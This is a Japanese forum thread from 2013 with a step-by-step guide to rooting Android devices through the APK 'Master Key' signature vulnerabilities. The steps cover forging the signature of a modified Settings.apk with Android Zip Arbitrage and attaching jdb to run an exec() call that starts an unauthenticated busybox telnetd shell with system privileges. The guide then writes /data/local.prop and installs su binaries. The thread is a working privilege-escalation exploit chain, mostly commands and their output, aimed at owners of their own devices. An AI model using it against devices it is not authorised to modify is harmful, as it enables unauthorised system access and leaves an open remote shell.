現在時刻 - 2016年7月31日(日) 07:31


[HOWTO][ROOTING]AndroidのAPK署名の脆弱性を使ったroot化

返信する


答えを正確に入力してください。答えられるかどうかでスパムボットか否かを判定します。
スマイリー
:D :) ;) :( :o :shock: :? 8-) :lol: :x :P :oops: :cry: :evil: :twisted: :roll: :!: :?: :idea: :arrow: :| :mrgreen: :geek: :ugeek:
BBCode: ON
[img]: OFF
[flash]: OFF
[url]: ON
スマイリー: ON
トピックのレビュー
   

展開ビュー トピックのレビュー: [HOWTO][ROOTING]AndroidのAPK署名の脆弱性を使ったroot化

具体例

投稿記事 by 173210 » 2013年11月08日(金) 21:12

(1) DFBreak
・詳細
 DFBreakはDAYFILERというAndroid搭載の電子辞書をroot化するツールです。
 173210(私)によって作られました。

・仕組み
使われていないと思われる"AlarmShutDownNotification.apk"と自作のプログラムを9695860を使ってすり替えます。
自作のプログラムはsystem権限で読み書きすることができるデバイスファイルを直接操作し、suバイナリを書き換えます。

・ソースコード
https://github.com/173210/dfbreak

(2) fi01氏によるHTC端末のroot化
・詳細
fi01氏により考案されました。
HTL21、HTL22でroot化が可能です。

・仕組み
9950697で偽装署名をした、debuggableフラグが立っているAPKをインストールし、system権限を取得します。
"/dev/msm_acdb"の権限を666に変更することで、run_root_shellというroot化プログラムでroot化を可能にします。

手順 -root化-

投稿記事 by 173210 » 2013年9月14日(土) 09:02

※これより先は一部できない端末があります。
問題が発生した場合は、知識のある人に相談してみましょう。

19. local.propをこのファイルと同じように書き換え、再起動する
http://173210.server-queen.com/autoinde ... local.prop
 このlocal.propの内容をそのまま写すには、以下のコマンドが簡単です。
コード: 全て選択
adb push さっきのlocal.propへのパス /sdcard/local.prop
system@android:/ $ "cat /sdcard/local.prop > /data/local.prop"

 /data/local.propに書き込めたことを確認するには以下のコマンドが有用です。
コード: 全て選択
system@android:/ $ cat /data/local.prop



※これより先はsystem領域へのアクセスが制限されている場合出来ません。
問題が発生した場合は、同じ端末の旧FWのハックをした人や同じメーカーの端末をハックした人に相談してみましょう。

20. adb shellでrootになっていることを確認し、以下のコマンドでsystem領域を読み込み可でマウントする
コード: 全て選択
/system/xbin/busybox mount -o rw,remount -t ext4 /system


21. ChainDD氏のサイトからSuperuserをダウンロード・展開
http://androidsu.com/superuser/

22. Superuserとsuを以下のコマンドでインストールする
コード: 全て選択
adb push 展開したsuへのパス /system/xbin/su
adb push 展開したSuperuser.apkへのパス /system/app/Superuser.apk
adb shell
chown root /system/xbin/su
chmod 755 /system/xbin/su
chmod u+s /system/xbin/su
chmod g+s /system/xbin/su
chmod 655 /system/app/Superuser.apk

手順 -system権限の奪取-

投稿記事 by 173210 » 2013年9月14日(土) 09:01

10. 以下のコマンドを入力し、設定を起動する
コード: 全て選択
adb shell am start -D -a android.intent.action.MAIN -n com.android.settings/android.app.Activity


11. 以下のコマンドを入力し、jdwpのポートを確認する
コード: 全て選択
adb jdwp

これで得たポート番号は12で使います。

12. 以下のコマンドを入力し、jdbを接続する。
コード: 全て選択
adb forward tcp:8600 jdwp:XXXX
jdb -attach localhost:8600

XXXXには11で得たポート番号を代入してください。

13. jdbでthreadsコマンドを実行してスレッド一覧を確認し、標的を定める。

コード: 全て選択
> threads
Group system:
 (java.lang.Thread)0xc1415a1460 <8> FinalizerWatchdogDaemon cond. waiting
 (java.lang.Thread)0xc1415a12b0 <7> FinalizerDaemon cond. waiting
 (java.lang.Thread)0xc1415a1148 <6> ReferenceQueueDaemon cond. waiting
 (java.lang.Thread)0xc1415a1058 <5> Compiler cond. waiting
 (java.lang.Thread)0xc1415a0e78 <3> Signal Catcher cond. waiting
 (java.lang.Thread)0xc1415a0d98 <2> GC cond. waiting
Group main:
 (java.lang.Thread)0xc140d359a0 <1> main running
 (java.lang.Thread)0xc1415a7888 <11> Binder_3 running
 (java.lang.Thread)0xc1415a5c28 <10> Binder_2 running
 (java.lang.Thread)0xc1415a5ac8 <9> Binder_1 running

ここでは"main"スレッドを標的にします。

14. "main"スレッドに移行する

コード: 全て選択
> thread 0xc140d359a0

ここで"0xc140d359a0"となっている部分には13で確認したスレッドIDを入力してください。

15. 以下のコマンドでスタックトレースを見てブレークポイントの設置位置を決める
例:
コード: 全て選択
<1> main[1] where
 [1] android.os.MessageQueue.nativePollOnce (native method)
 [2] android.os.MessageQueue.next (MessageQueue.java:125)
 [3] android.os.Looper.loop (Looper.java:124)
 [4] android.app.ActivityThread.main (ActivityThread.java:5,041)
 [5] java.lang.reflect.Method.invokeNative (native method)
 [6] java.lang.reflect.Method.invoke (Method.java:511)
 [7] com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run (ZygoteInit.java:793)
 [8] com.android.internal.os.ZygoteInit.main (ZygoteInit.java:560)
 [9] dalvik.system.NativeStart.main (native method)

ここでは"android.os.MessageQueue.next"が"android.os.Looper.loop"によるループ内で呼ばれているようです。
今回はこれにブレークポイントを設置します。

16. 以下のコマンドでブレークポイントを設置し、適当に何かやって様子を見る
例:
コード: 全て選択
<1> main[1] stop in android.os.MessageQueue.next()
Set breakpoint android.os.MessageQueue.next()

適当に画面を触ったりスクロールしたりしてみてください。しばらくすると止まります。
止まった際には以下のように表示されます。
コード: 全て選択
Breakpoint hit: "thread=<1> main", android.os.MessageQueue.next(), line=118 bci=0


17. ブレークポイントに当たったら、telnetd等で遠隔操作できるシェルを立ち上げる
例:
コード: 全て選択
<1> main[1] print java.lang.Runtime.getRuntime().exec("/system/xbin/busybox telnetd -p 8899 -l sh")
java.lang.Runtime.getRuntime().exec("/system/xbin/busybox telnetd -p 8899 -l sh") = "Process[pid=2269]"

※この例では/system/xbin/busyboxが存在することを想定していますが、もしない場合は/data/localなどに自分で置いてください。
 その際にはパーミッションの変更を忘れないようにしてください。
※場合によってはここで例外が発生する可能性があります。例外が発生した場合、その内容を見て対応する必要があります。

18. 17で立ち上げたシェルに接続する
例:
コード: 全て選択
adb shell
shell@android:/ $ /system/xbin/busybox telnet 127.0.0.1:8899

Entering character mode
Escape character is '^]'.

system@android:/ $


※ここで"id"コマンドや"whoami"コマンドを使うことでsystem権限であることを確認できます。
例:
コード: 全て選択
system@android:/ $ id
uid=1000(system) gid=1000(system) groups=1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3007(net_bw_acct),41000(u0_a31000)

手順 -準備-

投稿記事 by 173210 » 2013年9月14日(土) 08:58

1. apktoolを以下から入手する
https://code.google.com/p/android-apktool/downloads/

2. /system/app/Settings.apk/system/framework/framework-res.apkを取り出す
 adbを使う場合以下のコマンドで取り出せます。
コード: 全て選択
adb pull /system/app/Settings.apk
adb pull /system/framework/framework-res.apk


3. 1,2で入手したファイルを同じディレクトリに置く
 2のapktoolは"apktool.jar"
 3のSettings.apkは"Settings.apk"
 3のframework-res.apkは"framework-res.apk"
 として保存します。

5. 4でおいたディレクトリに端末で移動し、以下のコマンドを実行する
コード: 全て選択
java -jar apktool.jar if framework-res.apk
java -jar apktool.jar d -s Settings.apk

 これによってSettings.apkがデコンパイルされます。

6. Settings/AndroidManifest.xmlandroid:versionCodeを1つ上げる
例:
変更前
コード: 全て選択
<manifest android:sharedUserId="android.uid.system" android:versionCode="41" android:versionName="0.1.40-101c08af" package="com.android.settings" coreApp="true"
  xmlns:android="http://schemas.android.com/apk/res/android">

変更後
コード: 全て選択
<manifest android:sharedUserId="android.uid.system" android:versionCode="42" android:versionName="0.1.40-101c08af" package="com.android.settings" coreApp="true"
  xmlns:android="http://schemas.android.com/apk/res/android">


7. Settings/AndroidManifest.xmlapplicationタグ内にdebuggableフラグを立てる
例:
変更前
コード: 全て選択
    <application android:theme="@*android:style/Theme.Holo" android:label="@string/settings_label" android:icon="@mipmap/ic_launcher_settings" android:taskAffinity="" android:hardwareAccelerated="false" android:uiOptions="splitActionBarWhenNarrow">

変更後
コード: 全て選択
    <application android:theme="@*android:style/Theme.Holo" android:label="@string/settings_label" android:icon="@mipmap/ic_launcher_settings" android:taskAffinity="" android:hardwareAccelerated="false" android:uiOptions="splitActionBarWhenNarrow" android:debuggable="true">


8.端末で以下のように入力してコンパイルする
コード: 全て選択
java -jar apktool.jar b Settings modifiedSettings.apk


9. 偽装署名をする
(i) Android Zip Arbitrage 1.1を以下から入手する
https://github.com/Fuzion24/ZipArbitrag ... master/bin

(ii) 端末で以下のように入力する
・9695860を使う場合
コード: 全て選択
java -jar AndroidZipArbitrage.jar --9695860 Settings.apk modifiedSettings.apk

・9950697を使う場合
コード: 全て選択
java -jar AndroidZipArbitrage.jar Settings.apk modifiedSettings.apk

 しばらく経つと、改変された"MasterKeysModded-Settings.apk"が作成されます。

10. "MasterKeysModded-Settings.apk"を通常通りインストールする
 adb install等でインストールできない場合、9の工程を間違えたか、対策されている可能性があります。

[HOWTO][ROOTING]AndroidのAPK署名の脆弱性を使ったroot化

投稿記事 by 173210 » 2013年7月11日(木) 18:30

このスレではAndroidのAPK署名の脆弱性を使ったroot化について説明します。

・AndroidのAPK署名の脆弱性とは
 この類のバグはAPKファイルのマスタキーの脆弱性で、正規の署名でなくてもAPKを更新できてしまいます。
これによってシステムアプリを更新し、system権限を奪取することができます。
 現在発見されているこの種類の脆弱性の番号は以下です。
8219321
・2013年3月ごろから対策有
・新たにファイルを追加できない制約有
9695860
・2013年7月ごろから対策有
9950697
・2013年11月ごろから対策有
・新たにファイルを追加できない制約有
・既存のファイルより大きなファイルを追加できない制約有
・classes.dexが32KB以下でなければならない制約有
10148349
・2013年11月ごろから対策有
・詳細不明

 現時点では9695860か9950697を使うことになります。

・root化方法
 system権限はその名の通りroot権限ではありません
そのため、system権限で作成できる/data/local.propを作成し、adbをroot権限で使用出来るようにします。
 ここでは、system権限で立ち上げたシェルで作成します。

・必要な環境条件
 ・adbが使用出来る
 ・JARが実行できる

・対象端末条件
 ・脆弱性が残っている
 ・adbが使用出来る

・謝辞
このページはExploit (& Fix) Android "Master Key" - Jay Freeman (saurik)を参考に作成されています。
Jay Freeman氏に感謝します。ありがとうございました。
偽装署名のプログラムにはFuzion24氏のAndroid Zip Arbitrage 1.1を用いて説明しています。
Fuzion24氏に感謝します。ありがとうございました。

ページトップ